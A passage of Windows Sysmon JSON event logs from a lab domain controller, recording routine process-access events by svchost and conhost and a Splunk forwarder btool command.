C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C8FF0400}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C8FF0400}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.676\r\nProcessGuid: {90617006-4078-5F2D-0000-001084000500}\r\nProcessId: 4768\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010C8FF0400}\r\nParentProcessId: 4788\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.676","ProcessGuid":"{90617006-4078-5F2D-0000-001084000500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 